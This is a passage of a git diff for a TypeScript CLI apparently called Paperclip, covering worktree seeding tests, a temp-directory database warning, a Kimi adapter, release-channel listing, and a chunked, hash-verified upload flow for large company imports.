sourceDbClient.insert(authUsers).values({ - id: "user-existing", - email: "existing@paperclip.ing", - name: "Existing User", - emailVerified: true, - createdAt: new Date(), - updatedAt: new Date(), - }); + await sourceDbClient.$client.unsafe(` + DELETE FROM "drizzle"."__drizzle_migrations" + WHERE "id" = ( + SELECT max("id") FROM "drizzle"."__drizzle_migrations" + ); + + WITH pair AS ( + SELECT + array_agg("id" ORDER BY "id" DESC) AS ids, + array_agg("hash" ORDER BY "id" DESC) AS hashes + FROM ( + SELECT "id", "hash" + FROM "drizzle"."__drizzle_migrations" + ORDER BY "id" DESC + LIMIT 2 + ) latest + ) + UPDATE "drizzle"."__drizzle_migrations" migrations + SET "hash" = CASE + WHEN migrations."id" = pair.ids[1] THEN pair.hashes[2] + WHEN migrations."id" = pair.ids[2] THEN pair.hashes[1] + ELSE migrations."hash" + END + FROM pair + WHERE migrations."id" IN (pair.ids[1], pair.ids[2]); + + INSERT INTO "drizzle"."__drizzle_migrations" ("hash", "created_at") + VALUES ('stale-unresolvable-migration-hash', 0) + `); + await sourceDbClient.$client.end({ timeout: 5 }); + const laggingMigrationState = await inspectMigrations(sourceDb.connectionString); + expect(laggingMigrationState.status).toBe("needsMigrations"); + if (laggingMigrationState.status !== "needsMigrations") { + throw new Error("Expected the source migration journal to lag the code journal"); + } + expect(laggingMigrationState.pendingMigrations).toHaveLength(1); + const expectedAppliedPrefix = laggingMigrationState.availableMigrations.slice( + 0, + laggingMigrationState.appliedMigrations.length, + ); + expect(laggingMigrationState.appliedMigrations).not.toEqual(expectedAppliedPrefix); + expect([...laggingMigrationState.appliedMigrations].sort()).toEqual( + [...expectedAppliedPrefix].sort(), + ); + expect(laggingMigrationState.journalEntryCount).toBeGreaterThan( + laggingMigrationState.appliedMigrations.length, + ); + const sourceMigrationRevision = expectedAppliedPrefix.at(-1); + expect(sourceMigrationRevision).toBeTruthy(); fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true }); fs.mkdirSync(worktreeRoot, { recursive: true }); @@ -869,6 +1715,19 @@ describe("worktree helpers", () => { const targetConfig = JSON.parse( fs.readFileSync(path.join(worktreeRoot, ".paperclip", "config.json"), "utf8"), ) as PaperclipConfig; + const manifestText = fs.readFileSync( + path.join(worktreeRoot, ".paperclip", "seed-manifest.json"), + "utf8", + ); + expect(JSON.parse(manifestText)).toMatchObject({ + version: 2, + seedMode: "minimal", + state: "verified", + phase: "complete", + }); + expect(manifestText).toContain(`Validated migration ${sourceMigrationRevision}`); + expect(manifestText).not.toContain("fixture-password-hash"); + expect(manifestText).not.toContain("source-master-key"); const { default: EmbeddedPostgres } = await import("embedded-postgres"); const targetPg = new EmbeddedPostgres({ databaseDir: targetConfig.database.embeddedPostgresDataDir, @@ -981,6 +1840,61 @@ describe("worktree helpers", () => { } }); + it("reserves distinct ports for postgres-mode siblings under a custom worktree parent", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-custom-parent-")); + const homeDir = path.join(tempRoot, ".paperclip-worktrees"); + const customParentDir = path.join(tempRoot, "custom", "workspace-lanes"); + const firstWorktreeRoot = path.join(customParentDir, "lane-one"); + const secondWorktreeRoot = path.join(customParentDir, "lane-two"); + const missingSourceConfig = path.join(tempRoot, "missing", "config.json"); + const firstConfigPath = path.join(firstWorktreeRoot, ".paperclip", "config.json"); + const secondConfigPath = path.join(secondWorktreeRoot, ".paperclip", "config.json"); + const originalCwd = process.cwd(); + + try { + fs.mkdirSync(firstWorktreeRoot, { recursive: true }); + fs.mkdirSync(secondWorktreeRoot, { recursive: true }); + + process.chdir(firstWorktreeRoot); + await worktreeInitCommand({ + name: "lane-one", + seed: false, + fromConfig: missingSourceConfig, + home: homeDir, + }); + + const firstConfig = JSON.parse(fs.readFileSync(firstConfigPath, "utf8")); + firstConfig.database = { + ...firstConfig.database, + mode: "postgres", + connectionString: "postgres://paperclip:paperclip@127.0.0.1:54330/paperclip", + }; + fs.writeFileSync(firstConfigPath, `${JSON.stringify(firstConfig, null, 2)}\n`, "utf8"); + + process.chdir(secondWorktreeRoot); + await worktreeInitCommand({ + name: "lane-two", + seed: false, + fromConfig: missingSourceConfig, + home: homeDir, + }); + + const secondConfig = JSON.parse(fs.readFileSync(secondConfigPath, "utf8")); + const registry = JSON.parse( + fs.readFileSync(path.join(homeDir, "worktree-port-reservations.json"), "utf8"), + ); + + expect(secondConfig.server.port).not.toBe(firstConfig.server.port); + expect(secondConfig.database.embeddedPostgresPort).not.toBe( + firstConfig.database.embeddedPostgresPort, + ); + expect(registry.configPaths).toEqual([firstConfigPath, secondConfigPath].sort()); + } finally { + process.chdir(originalCwd); + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + it("defaults the seed source config to the current repo-local Paperclip config", () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-source-config-")); const repoRoot = path.join(tempRoot, "repo"); @@ -1125,9 +2039,8 @@ describe("worktree helpers", () => { const originalCwd = process.cwd(); const originalPaperclipConfig = process.env.PAPERCLIP_CONFIG; const currentDatabaseReservation = await reserveTestPort(); - const sourceDatabaseReservation = await reserveTestPort(); const currentDatabasePort = currentDatabaseReservation.port; - const sourceDatabasePort = sourceDatabaseReservation.port; + const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-reseed-source-"); try { fs.mkdirSync(path.dirname(currentPaths.configPath), { recursive: true }); @@ -1142,15 +2055,28 @@ describe("worktree helpers", () => { serverPort: 3114, databasePort: currentDatabasePort, }); - const sourceConfig = buildWorktreeConfig({ - sourceConfig: buildSourceConfig(), - paths: sourcePaths, - serverPort: 3200, - databasePort: sourceDatabasePort, - }); + const sourceConfig = buildSourceConfig(); + sourceConfig.database = { + mode: "postgres", + embeddedPostgresDataDir: sourcePaths.embeddedPostgresDataDir, + embeddedPostgresPort: 54329, + backup: { + enabled: true, + intervalMinutes: 60, + retentionDays: 30, + dir: sourcePaths.backupDir, + }, + connectionString: sourceDb.connectionString, + }; + sourceConfig.logging.logDir = sourcePaths.logDir; + sourceConfig.storage.localDisk.baseDir = sourcePaths.storageDir; + sourceConfig.secrets.localEncrypted.keyFilePath = sourcePaths.secretsKeyFilePath; + await seedValidWorktreeSource(sourceDb.connectionString); fs.writeFileSync(currentPaths.configPath, JSON.stringify(currentConfig, null, 2), "utf8"); fs.writeFileSync(sourcePaths.configPath, JSON.stringify(sourceConfig, null, 2), "utf8"); fs.writeFileSync(sourcePaths.secretsKeyFilePath, "source-secret", "utf8"); + const worktreeSentinelPath = path.join(repoRoot, "user-worktree-file.txt"); + fs.writeFileSync(worktreeSentinelPath, "preserve me", "utf8"); fs.writeFileSync( currentPaths.envPath, [ @@ -1166,11 +2092,11 @@ describe("worktree helpers", () => { process.chdir(repoRoot); await currentDatabaseReservation.release(); - await sourceDatabaseReservation.release(); await worktreeReseedCommand({ fromConfig: sourcePaths.configPath, yes: true, + backupTarget: true, }); const rewrittenConfig = JSON.parse(fs.readFileSync(currentPaths.configPath, "utf8")); @@ -1182,9 +2108,13 @@ describe("worktree helpers", () => { expect(rewrittenEnv).toContain(`PAPERCLIP_INSTANCE_ID=${currentInstanceId}`); expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_NAME=existing-name"); expect(rewrittenEnv).toContain("PAPERCLIP_WORKTREE_COLOR=\"#112233\""); + expect(fs.readFileSync(worktreeSentinelPath, "utf8")).toBe("preserve me"); + expect( + fs.readdirSync(path.join(currentPaths.backupDir, "repair")).some((name) => name.endsWith(".sql.gz")), + ).toBe(true); } finally { await currentDatabaseReservation.release(); - await sourceDatabaseReservation.release(); + await sourceDb.cleanup(); process.chdir(originalCwd); if (originalPaperclipConfig === undefined) { delete process.env.PAPERCLIP_CONFIG; diff --git a/cli/src/adapters/registry.ts b/cli/src/adapters/registry.ts index f30e32eafb6..7dfa12db95a 100644 --- a/cli/src/adapters/registry.ts +++ b/cli/src/adapters/registry.ts @@ -5,6 +5,7 @@ import { printCursorStreamEvent } from "@paperclipai/adapter-cursor-local/cli"; import { printCursorCloudEvent } from "@paperclipai/adapter-cursor-cloud/cli"; import { printGeminiStreamEvent } from "@paperclipai/adapter-gemini-local/cli"; import { printGrokStreamEvent } from "@paperclipai/adapter-grok-local/cli"; +import { printKimiStreamEvent } from "@paperclipai/adapter-kimi-local/cli"; import { formatStdoutEvent as printHermesGatewayStreamEvent } from "@paperclipai/hermes-paperclip-adapter/gateway/cli"; import { printHermesStreamEvent } from "@paperclipai/hermes-paperclip-adapter/cli"; import { printOpenCodeStreamEvent } from "@paperclipai/adapter-opencode-local/cli"; @@ -53,6 +54,11 @@ const grokLocalCLIAdapter: CLIAdapterModule = { formatStdoutEvent: printGrokStreamEvent, }; +const kimiLocalCLIAdapter: CLIAdapterModule = { + type: "kimi_local", + formatStdoutEvent: printKimiStreamEvent, +}; + const hermesGatewayCLIAdapter: CLIAdapterModule = { type: "hermes_gateway", formatStdoutEvent: printHermesGatewayStreamEvent, @@ -78,6 +84,7 @@ const adaptersByType = new Map( cursorCloudCLIAdapter, geminiLocalCLIAdapter, grokLocalCLIAdapter, + kimiLocalCLIAdapter, hermesGatewayCLIAdapter, hermesLocalCLIAdapter, openclawGatewayCLIAdapter, diff --git a/cli/src/checks/database-check.ts b/cli/src/checks/database-check.ts index 4d4ef811e11..8e15cad14a3 100644 --- a/cli/src/checks/database-check.ts +++ b/cli/src/checks/database-check.ts @@ -1,8 +1,16 @@ import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; import type { PaperclipConfig } from "../config/schema.js"; import type { CheckResult } from "./index.js"; import { resolveRuntimeLikePath } from "./path-resolver.js"; +function isInsideOsTmpDir(targetPath: string): boolean { + const tmpRoot = path.resolve(os.tmpdir()); + const resolved = path.resolve(targetPath); + return resolved === tmpRoot || resolved.startsWith(`${tmpRoot}${path.sep}`); +} + export async function databaseCheck(config: PaperclipConfig, configPath?: string): Promise { if (config.database.mode === "postgres") { if (!config.database.connectionString) { @@ -37,9 +45,33 @@ export async function databaseCheck(config: PaperclipConfig, configPath?: string if (config.database.mode === "embedded-postgres") { const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath); - const reportedPath = dataDir; + + // A worktree-mode instance whose data dir lives under the OS temp dir is a red + // flag: this is what happens when PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE leak + // into a PRIMARY instance's environment and silently relocate it to a throwaway + // temp home, so it boots an empty DB and locks everyone out. (Intentional + // ephemeral/CI instances that don't set PAPERCLIP_IN_WORKTREE are not flagged.) + // Check BEFORE creating the dir so we don't bootstrap the very temp location + // we're warning about. + if (isInsideOsTmpDir(dataDir) && process.env.PAPERCLIP_IN_WORKTREE === "true") { + return { + name: "Database", + status: "warn", + message: + `Embedded PostgreSQL data dir is inside the OS temp directory (${dataDir}) ` + + "while running in worktree mode (PAPERCLIP_IN_WORKTREE=true). Data stored here is " + + "ephemeral and will be lost on reboot or a temp cleanup. If this is your primary " + + "instance, PAPERCLIP_HOME / PAPERCLIP_IN_WORKTREE likely leaked into its environment, " + + "pointing it at a throwaway worktree home instead of your real data.", + canRepair: false, + repairHint: + "If this is the primary instance, unset PAPERCLIP_HOME and PAPERCLIP_IN_WORKTREE " + + "(or pass --data-dir ) and restart so it uses the persistent instance.", + }; + } + if (!fs.existsSync(dataDir)) { - fs.mkdirSync(reportedPath, { recursive: true }); + fs.mkdirSync(dataDir, { recursive: true }); } return { diff --git a/cli/src/checks/managed-install-check.ts b/cli/src/checks/managed-install-check.ts index 025f1bf33f3..3f1447a4e77 100644 --- a/cli/src/checks/managed-install-check.ts +++ b/cli/src/checks/managed-install-check.ts @@ -7,6 +7,7 @@ import { type InstallStorePaths, } from "../install-store.js"; import type { CheckResult } from "./index.js"; +import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version"; function pathContains(directory: string): boolean { const normalized = path.resolve(directory); @@ -33,14 +34,13 @@ function hasManagedArtifacts(paths: InstallStorePaths): boolean { } export function nodeRuntimeCheck(): CheckResult { - const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10); - return major >= 20 + return isSupportedNodeVersion(process.versions.node) ? { name: "Node.js runtime", status: "pass", message: `Node.js ${process.versions.node}` } : { name: "Node.js runtime", status: "fail", message: `Node.js ${process.versions.node} is unsupported`, - repairHint: "Install Node.js 20 or newer before installing or running Paperclip", + repairHint: `Install Node.js ${MINIMUM_NODE_VERSION} or newer before installing or running Paperclip`, }; } diff --git a/cli/src/client/http.ts b/cli/src/client/http.ts index fe7abb748c0..dd4f784776d 100644 --- a/cli/src/client/http.ts +++ b/cli/src/client/http.ts @@ -88,6 +88,15 @@ export class PaperclipApiClient { }, opts); } + /** Raw binary upload (e.g. one chunked import-transfer part); the body travels as-is. */ + putRaw(path: string, body: Uint8Array, opts?: RequestOptions): Promise { + return this.request(path, { + method: "PUT", + body: body as unknown as BodyInit, + headers: { "content-type": "application/octet-stream" }, + }, opts); + } + delete(path: string, opts?: RequestOptions): Promise { return this.request(path, { method: "DELETE" }, opts); } @@ -224,7 +233,7 @@ function buildConnectionErrorMessage(input: { "This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.", "", "Try:", - "- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.", + "- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.", `- Verify the server is reachable with \`curl ${healthUrl}\`.`, `- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`, ); diff --git a/cli/src/commands/channels.ts b/cli/src/commands/channels.ts new file mode 100644 index 00000000000..3fe211b4957 --- /dev/null +++ b/cli/src/commands/channels.ts @@ -0,0 +1,119 @@ +import { execFile } from "node:child_process"; +import { promisify } from "node:util"; +import pc from "picocolors"; +import { resolvePublishedVersion, type CommandRunner } from "./install.js"; +import { packageVersion } from "../version.js"; + +const execFileAsync = promisify(execFile); + +const defaultRunCommand: CommandRunner = (command, args, options) => + execFileAsync(command, args, { ...options, encoding: "utf8" }); + +export type ChannelName = "stable" | "beta" | "nightly" | "canary"; + +export type ChannelDescriptor = { + channel: ChannelName; + distTag: string; + cadence: string; + audience: string; +}; + +// Ordered from most to least stable — the order users should consider them. +export const RELEASE_CHANNELS: readonly ChannelDescriptor[] = [ + { + channel: "stable", + distTag: "latest", + cadence: "manual, soaked in beta for 3+ days", + audience: "the recommended release for almost everyone", + }, + { + channel: "beta", + distTag: "beta", + cadence: "manual promotion behind an approval gate", + audience: "release candidates: what stable becomes a few days later", + }, + { + channel: "nightly", + distTag: "nightly", + cadence: "once a night, smoke-gated", + audience: "yesterday's merges, tested as a unit", + }, + { + channel: "canary", + distTag: "canary", + cadence: "every merge to master", + audience: "the bleeding edge", + }, +]; + +const CALVER_RE = /^\d{4}\.\d{1,4}\.\d+$/; +const PRERELEASE_RE = /^\d{4}\.\d{1,4}\.\d+-(canary|nightly|beta)\.\d+$/; + +// Published versions carry their lane in the version string; the source +// checkout's package.json holds a placeholder that matches neither form. +export function channelForVersion(version: string): ChannelName | "unknown" { + const prerelease = version.match(PRERELEASE_RE); + if (prerelease) return prerelease[1] as ChannelName; + if (CALVER_RE.test(version)) return "stable"; + return "unknown"; +} + +export type ChannelState = ChannelDescriptor & { version: string | null }; + +export async function collectChannelState( + runCommand: CommandRunner = defaultRunCommand, +): Promise { + const resolved = await Promise.allSettled( + RELEASE_CHANNELS.map((entry) => resolvePublishedVersion(entry.distTag, runCommand)), + ); + return RELEASE_CHANNELS.map((entry, index) => { + const outcome = resolved[index]; + return { + ...entry, + version: outcome.status === "fulfilled" ? outcome.value : null, + }; + }); +} + +export type ChannelsOptions = { json?: boolean }; + +export async function channelsCommand( + options: ChannelsOptions = {}, + runCommand: CommandRunner = defaultRunCommand, +): Promise { + const state = await collectChannelState(runCommand); + const currentChannel = channelForVersion(packageVersion); + + if (options.json) { + console.log( + JSON.stringify( + { + current: { version: packageVersion, channel: currentChannel }, + channels: state, + }, + null, + 2, + ), + ); + return; + } + + console.log(pc.bold("Paperclip release channels")); + console.log(""); + for (const entry of state) { + const version = entry.version ?? pc.yellow("unavailable"); + console.log(` ${pc.bold(entry.channel.padEnd(8))} ${version}`); + console.log(` ${" ".repeat(8)} ${pc.dim(`${entry.cadence} — ${entry.audience}`)}`); + console.log(` ${" ".repeat(8)} ${pc.dim(`npx paperclipai@${entry.distTag} onboard`)}`); + console.log(""); + } + + if (currentChannel === "unknown") { + console.log( + `This install reports version ${pc.bold(packageVersion)}, which does not map to a published channel (source checkouts report the repository placeholder).`, + ); + } else { + console.log(`This install is version ${pc.bold(packageVersion)} on the ${pc.bold(currentChannel)} channel.`); + } + console.log(`Docker images use the same names: ghcr.io/paperclipai/paperclip:{latest,beta,nightly,canary}`); +} diff --git a/cli/src/commands/client/agent.ts b/cli/src/commands/client/agent.ts index 8144352c491..3f81da6c6b3 100644 --- a/cli/src/commands/client/agent.ts +++ b/cli/src/commands/client/agent.ts @@ -71,6 +71,7 @@ interface AgentResetSessionOptions extends BaseClientOptions { interface AgentSkillsSyncOptions extends BaseClientOptions { desiredSkills: string; + mode: string; } interface AgentInstructionsFileOptions extends BaseClientOptions { @@ -92,7 +93,7 @@ interface CreatedAgentKey { } interface SkillsInstallSummary { - tool: "codex" | "claude"; + tool: "codex" | "claude" | "kimi"; target: string; linked: string[]; removed: string[]; @@ -114,10 +115,16 @@ function claudeSkillsHome(): string { return path.join(base, "skills"); } +function kimiSkillsHome(): string { + const fromEnv = process.env.KIMI_CODE_HOME?.trim(); + const base = fromEnv && fromEnv.length > 0 ? fromEnv : path.join(os.homedir(), ".kimi-code"); + return path.join(base, "skills"); +} + async function installSkillsForTarget( sourceSkillsDir: string, targetSkillsDir: string, - tool: "codex" | "claude", + tool: "codex" | "claude" | "kimi", ): Promise { const summary: SkillsInstallSummary = { tool, @@ -589,10 +596,17 @@ export function registerAgentCommands(program: Command): void { .description("Sync desired skills onto an agent") .argument("", "Agent ID") .requiredOption("--desired-skills ", "Desired skill names") + .requiredOption( + "--mode ", + "Merge mode: add keeps other skills; remove deletes only named skills; replace destructively overwrites the complete set", + ) .action(async (agentId: string, opts: AgentSkillsSyncOptions) => { try { const ctx = resolveCommandContext(opts); - const payload = agentSkillSyncSchema.parse({ desiredSkills: parseCsv(opts.desiredSkills) }); + const payload = agentSkillSyncSchema.parse({ + desiredSkills: parseCsv(opts.desiredSkills), + mode: opts.mode, + }); const result = await ctx.api.post(apiPath`/api/agents/${agentId}/skills/sync`, payload); printOutput(result, { json: ctx.json }); } catch (err) { @@ -763,7 +777,7 @@ export function registerAgentCommands(program: Command): void { .option("--key-name ", "API key label", "local-cli") .option( "--no-install-skills", - "Skip installing Paperclip skills into ~/.codex/skills and ~/.claude/skills", + "Skip installing Paperclip skills into ~/.codex/skills, ~/.claude/skills, and ~/.kimi-code/skills", ) .action(async (agentRef: string, opts: AgentLocalCliOptions) => { try { @@ -795,6 +809,7 @@ export function registerAgentCommands(program: Command): void { installSummaries.push( await installSkillsForTarget(skillsDir, codexSkillsHome(), "codex"), await installSkillsForTarget(skillsDir, claudeSkillsHome(), "claude"), + await installSkillsForTarget(skillsDir, kimiSkillsHome(), "kimi"), ); } diff --git a/cli/src/commands/client/company.ts b/cli/src/commands/client/company.ts index bd0d162a502..e1e7bea44b1 100644 --- a/cli/src/commands/client/company.ts +++ b/cli/src/commands/client/company.ts @@ -1,4 +1,5 @@ import { Command } from "commander"; +import { createHash } from "node:crypto"; import { mkdir, readdir, readFile, stat, writeFile } from "node:fs/promises"; import path from "node:path"; import * as p from "@clack/prompts"; @@ -12,10 +13,24 @@ import type { CompanyPortabilityPreviewResult, CompanyPortabilityImportResult, } from "@paperclipai/shared"; +import { + companyImportTransferApplyPath, + companyImportTransferPartPath, + companyImportTransferPreviewPath, + COMPANY_IMPORT_TRANSFERS_ROUTE_PATH, + type CompanyImportTransferCreated, + type CompanyImportTransferDeclaration, +} from "@paperclipai/shared/company-import-transfer"; import { getTelemetryClient, trackCompanyImported } from "../../telemetry.js"; -import { ApiRequestError } from "../../client/http.js"; +import { ApiRequestError, type PaperclipApiClient } from "../../client/http.js"; import { openUrl } from "../../client/board-auth.js"; -import { binaryContentTypeByExtension, bytesToPortableFileEntry, isBlobStorePath, readZipArchive } from "./zip.js"; +import { + binaryContentTypeByExtension, + bytesToPortableFileEntry, + createStoredZipArchive, + isBlobStorePath, + readZipArchive, +} from "./zip.js"; import { addCommonClientOptions, apiPath, @@ -548,6 +563,16 @@ function summarizeImportAgentResults(agents: CompanyPortabilityImportResult["age return `${agents.length} ${pluralize(agents.length, "agent")} total (${parts.join(", ")})`; } +function summarizeImportSkillResults(skills: CompanyPortabilityImportResult["skills"]): string { + if (skills.length === 0) return "0 skills changed"; + const actions = ["created", "renamed", "replaced", "skipped"] as const; + const parts = actions.flatMap((action) => { + const count = skills.filter((skill) => skill.action === action).length; + return count > 0 ? [`${count} ${action}`] : []; + }); + return `${skills.length} ${pluralize(skills.length, "skill")} total (${parts.join(", ")})`; +} + function summarizeImportProjectResults(projects: CompanyPortabilityImportResult["projects"]): string { if (projects.length === 0) return "0 projects changed"; const created = projects.filter((project) => project.action === "created").length; @@ -681,10 +706,12 @@ export function renderCompanyImportResult( result: CompanyPortabilityImportResult, meta: { targetLabel: string; companyUrl?: string; infoMessages?: string[] }, ): string { + const skills = result.skills ?? []; const lines: string[] = [ `${pc.bold("Target")} ${meta.targetLabel}`, `${pc.bold("Company")} ${result.company.name} (${actionChip(result.company.action)})`, `${pc.bold("Agents")} ${summarizeImportAgentResults(result.agents)}`, + `${pc.bold("Skills")} ${summarizeImportSkillResults(skills)}`, `${pc.bold("Projects")} ${summarizeImportProjectResults(result.projects)}`, ]; @@ -701,6 +728,15 @@ export function renderCompanyImportResult( reason: agent.reason, })), ); + appendPreviewExamples( + lines, + "Skill results", + skills.map((skill) => ({ + action: skill.action, + label: `${skill.originalSlug} -> ${skill.slug}`, + reason: skill.reason, + })), + ); appendPreviewExamples( lines, "Project results", @@ -906,23 +942,23 @@ async function pathExists(inputPath: string): Promise { } } -async function collectPackageFiles( +async function collectPackageFileBytes( root: string, current: string, - files: Record, + files: Record, ): Promise { const entries = await readdir(current, { withFileTypes: true }); for (const entry of entries) { if (entry.name.startsWith(".git")) continue; const absolutePath = path.join(current, entry.name); if (entry.isDirectory()) { - await collectPackageFiles(root, absolutePath, files); + await collectPackageFileBytes(root, absolutePath, files); continue; } if (!entry.isFile()) continue; const relativePath = path.relative(root, absolutePath).replace(/\\/g, "/"); if (!shouldIncludePortableFile(relativePath)) continue; - files[relativePath] = bytesToPortableFileEntry(relativePath, await readFile(absolutePath)); + files[relativePath] = await readFile(absolutePath); } } @@ -944,14 +980,232 @@ export async function resolveInlineSourceFromPath(inputPath: string): Promise<{ } const rootDir = resolvedStat.isDirectory() ? resolved : path.dirname(resolved); - const files: Record = {}; - await collectPackageFiles(rootDir, rootDir, files); + const fileBytes: Record = {}; + await collectPackageFileBytes(rootDir, rootDir, fileBytes); return { rootPath: path.basename(rootDir), - files, + files: Object.fromEntries( + Object.entries(fileBytes).map(([relativePath, bytes]) => [ + relativePath, + bytesToPortableFileEntry(relativePath, bytes), + ]), + ), }; } +// ── Chunked transfer flow for large local packages ─────────────────── +// +// A local package over the threshold is not posted as one inline JSON body: +// its zip is declared as a chunked transfer (whole-file and per-part sha256), +// the parts are uploaded individually with per-part retries, and preview and +// apply run server-side against the assembled spool. Re-declaring the same +// content — after a failure or an interrupted run — resumes the prior +// transfer, so only the parts the server is missing are ever re-uploaded. + +export const CHUNKED_IMPORT_THRESHOLD_BYTES = 48 * 1024 * 1024; +// Imports into an EXISTING company post to /api/companies/:id/imports/*, +// which sits behind the server's default 10 MB JSON parser — only the +// generic /api/companies/import path carries the 64 MB portable limit. The +// chunk decision for existing targets therefore uses this lower threshold +// (margin under 10 MB for the envelope), or the inline body would 413. +export const EXISTING_COMPANY_CHUNKED_IMPORT_THRESHOLD_BYTES = 8 * 1024 * 1024; +export const IMPORT_TRANSFER_PART_SIZE_BYTES = 32 * 1024 * 1024; +const IMPORT_TRANSFER_PART_ATTEMPTS = 3; + +// ── Inline request size estimation ─────────────────────────────────── +// +// Mirrors `estimateInlineImportBytes` in ui/src/lib/import-preflight.ts (the +// CLI cannot import from ui/) — keep the math on both sides in sync. The +// server enforces its body limit on raw request bytes, so each entry is +// measured the way it actually travels: JSON-escaped UTF-8 for text +// (multi-byte characters and escape sequences both inflate past +// `String.length`), and the base64 payload plus its object structure for +// binary entries (base64 and MIME types are ASCII, one byte per character). + +const inlineEstimateUtf8 = new TextEncoder(); + +// Fixed serialization overhead of a base64 entry object around its data and +// contentType values: {"encoding":"base64","data":"…","contentType":"…"}. +const BASE64_ENTRY_STRUCTURE_BYTES = '{"encoding":"base64","data":"","contentType":""}'.length; + +// Allowance for everything in the request body besides the files map itself +// (rootPath, include flags, target, collision strategy, adapter overrides, +// braces and commas). Deliberately generous so the estimate never undercounts. +const REQUEST_ENVELOPE_ALLOWANCE_BYTES = 256 * 1024; + +function fileEntryInlineBytes(entry: CompanyPortabilityFileEntry): number { + if (typeof entry === "string") return inlineEstimateUtf8.encode(JSON.stringify(entry)).length; + return BASE64_ENTRY_STRUCTURE_BYTES + entry.data.length + (entry.contentType?.length ?? 0); +} + +/** + * Approximate JSON request size of an inline import: JSON-escaped UTF-8 text + * bytes, base64 payloads with their entry structure, the serialized file-path + * keys (thousands of paths are real bytes), and an envelope allowance for the + * rest of the request body. + */ +function estimateInlineImportBytes(files: Record): number { + let total = REQUEST_ENVELOPE_ALLOWANCE_BYTES; + for (const [filePath, entry] of Object.entries(files)) { + // "path": entry, → key bytes + colon + comma. + total += inlineEstimateUtf8.encode(JSON.stringify(filePath)).length + 2 + fileEntryInlineBytes(entry); + } + return total; +} + +export interface ImportTransferUploadProgress { + uploadedParts: number; + totalParts: number; + uploadedBytes: number; + totalBytes: number; +} + +export function buildImportTransferManifest(zipBytes: Uint8Array): CompanyImportTransferDeclaration { + const sha256 = (bytes: Uint8Array) => createHash("sha256").update(bytes).digest("hex"); + const parts: CompanyImportTransferDeclaration["parts"] = []; + for (let offset = 0; offset < zipBytes.length; offset += IMPORT_TRANSFER_PART_SIZE_BYTES) { + const byteSize = Math.min(IMPORT_TRANSFER_PART_SIZE_BYTES, zipBytes.length - offset); + parts.push({ + index: parts.length, + byteSize, + sha256: sha256(zipBytes.subarray(offset, offset + byteSize)), + }); + } + return { + totalBytes: zipBytes.length, + zipSha256: sha256(zipBytes), + partSizeBytes: IMPORT_TRANSFER_PART_SIZE_BYTES, + parts, + }; +} + +/** + * Resolve a local import source into raw zip bytes when its package is too + * large to travel as one inline JSON body: a .zip file is read as-is (so its + * declared hashes match the file on disk), a folder is packaged as a stored + * zip in memory with the same walk filters the inline path uses. Both source + * kinds are measured twice — raw bytes as a fast path, then the estimated + * inline request size, because base64 inflates binary entries ~4/3 and a + * compressed zip can expand far past its file size. Returns null for sources + * under the threshold on both measures — those keep the inline JSON path. + */ +export async function resolveChunkedImportZip( + inputPath: string, + thresholdBytes: number = CHUNKED_IMPORT_THRESHOLD_BYTES, +): Promise<{ + zipBytes: Uint8Array; + rootPath: string; +} | null> { + const resolved = path.resolve(inputPath); + const resolvedStat = await stat(resolved); + if (resolvedStat.isFile() && path.extname(resolved).toLowerCase() === ".zip") { + const zipBytes = new Uint8Array(await readFile(resolved)); + const rootPath = path.basename(resolved, ".zip"); + if (resolvedStat.size > thresholdBytes) return { zipBytes, rootPath }; + // A small compressed zip can still expand past server caps as inline + // JSON (text compresses well and binary re-inflates ~4/3 as base64), so + // the stay-inline decision uses the estimated request size of the same + // entries the inline path would send. An unreadable zip stays inline so + // that path surfaces its canonical parse error. + let archive: Awaited>; + try { + archive = await readZipArchive(zipBytes); + } catch { + return null; + } + if (estimateInlineImportBytes(archive.files) <= thresholdBytes) return null; + return { zipBytes, rootPath }; + } + if (!resolvedStat.isDirectory()) return null; + const fileBytes: Record = {}; + await collectPackageFileBytes(resolved, resolved, fileBytes); + const rootPath = path.basename(resolved); + // Content bytes alone already past the threshold means the stored zip + // (content plus headers) is too. + const contentBytes = Object.values(fileBytes).reduce((sum, bytes) => sum + bytes.length, 0); + if (contentBytes <= thresholdBytes) { + // Raw bytes under the threshold can still blow past server caps once the + // inline body is built (binary entries travel base64-inflated), so the + // stay-inline decision is made on the estimated request size — the same + // entries the inline path would send. + const inlineEntries = Object.fromEntries( + Object.entries(fileBytes).map(([relativePath, bytes]) => [ + relativePath, + bytesToPortableFileEntry(relativePath, bytes), + ]), + ); + if (estimateInlineImportBytes(inlineEntries) <= thresholdBytes) return null; + } + return { zipBytes: createStoredZipArchive(fileBytes, rootPath), rootPath }; +} + +/** + * Declare (or resume) the transfer for these zip bytes and upload every part + * the server reports missing, sequentially with per-part retries. Resolves + * with the transfer id once the server holds every part. + */ +export async function uploadCompanyImportTransfer( + api: Pick, + zipBytes: Uint8Array, + opts: { onProgress?: (progress: ImportTransferUploadProgress) => void } = {}, +): Promise { + const manifest = buildImportTransferManifest(zipBytes); + const created = await api.post( + `/api/companies${COMPANY_IMPORT_TRANSFERS_ROUTE_PATH}`, + manifest, + ); + if (!created) { + throw new Error("Import transfer declaration returned no data."); + } + if (created.alreadyCompleted) { + // The server keys transfers by content, and this exact zip already + // finished an apply — its spooled parts are gone, so it cannot re-run. + throw new Error( + "This exact package was already imported by a completed transfer. Re-export the package to import it again.", + ); + } + const missing = new Set(created.missingParts); + let uploadedParts = manifest.parts.length - missing.size; + let uploadedBytes = manifest.parts.reduce( + (sum, part) => (missing.has(part.index) ? sum : sum + part.byteSize), + 